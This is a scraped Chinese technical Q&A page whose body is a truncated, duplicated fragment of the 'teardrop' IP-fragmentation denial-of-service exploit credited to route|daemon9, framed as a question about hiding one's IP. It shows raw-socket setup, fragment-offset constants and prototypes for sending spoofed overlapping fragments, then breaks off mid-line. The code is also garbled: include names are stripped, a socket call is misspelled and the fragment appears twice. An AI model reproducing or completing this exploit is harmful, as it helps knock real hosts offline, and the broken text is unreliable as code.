当前位置: 技术问答>linux和unix
程序源代码解读 高手参看隐藏ip的问题!
来源: 互联网 发布时间:2016-05-22
本文导语: #include #include #include #include #include #include #include #include #include #include #include #ifdef STRANGE_BSD_BYTE_ORDERING_THING #define FIX(n) (n) #else #define FIX(n) htons(n) #endif #define IP_MF 0x2000 #define IPH 0x14 #define UDPH ...
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#ifdef STRANGE_BSD_BYTE_ORDERING_THING
#define FIX(n) (n)
#else
#define FIX(n) htons(n)
#endif
#define IP_MF 0x2000
#define IPH 0x14
#define UDPH 0x8
#define PADDING 0x1c
#define MAGIC 0x3
#define COUNT 0x1
void usage(u_char *);
u_long name_resolve(u_char *);
u_short in_cksum(u_short *,int);
void send_frags(int,u_long,u_long,u_short,u_short);
int main(int argc,char **argv)
{
int one=1,count=0,i,rip_sock;
u_long src_ip=0,dst_ip=0;
u_short src_prt=0,dst_prt=0;
struct in_addr addr;
fprintf(stderr,"teardrop route|daemon9nn");
if ((rip_sock=sock(AF_INET,SOCK_RAW,IPPROTO_RAW))
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#ifdef STRANGE_BSD_BYTE_ORDERING_THING
#define FIX(n) (n)
#else
#define FIX(n) htons(n)
#endif
#define IP_MF 0x2000
#define IPH 0x14
#define UDPH 0x8
#define PADDING 0x1c
#define MAGIC 0x3
#define COUNT 0x1
void usage(u_char *);
u_long name_resolve(u_char *);
u_short in_cksum(u_short *,int);
void send_frags(int,u_long,u_long,u_short,u_short);
int main(int argc,char **argv)
{
int one=1,count=0,i,rip_sock;
u_long src_ip=0,dst_ip=0;
u_short src_prt=0,dst_prt=0;
struct in_addr addr;
fprintf(stderr,"teardrop route|daemon9nn");
if ((rip_sock=sock(AF_INET,SOCK_RAW,IPPROTO_RAW))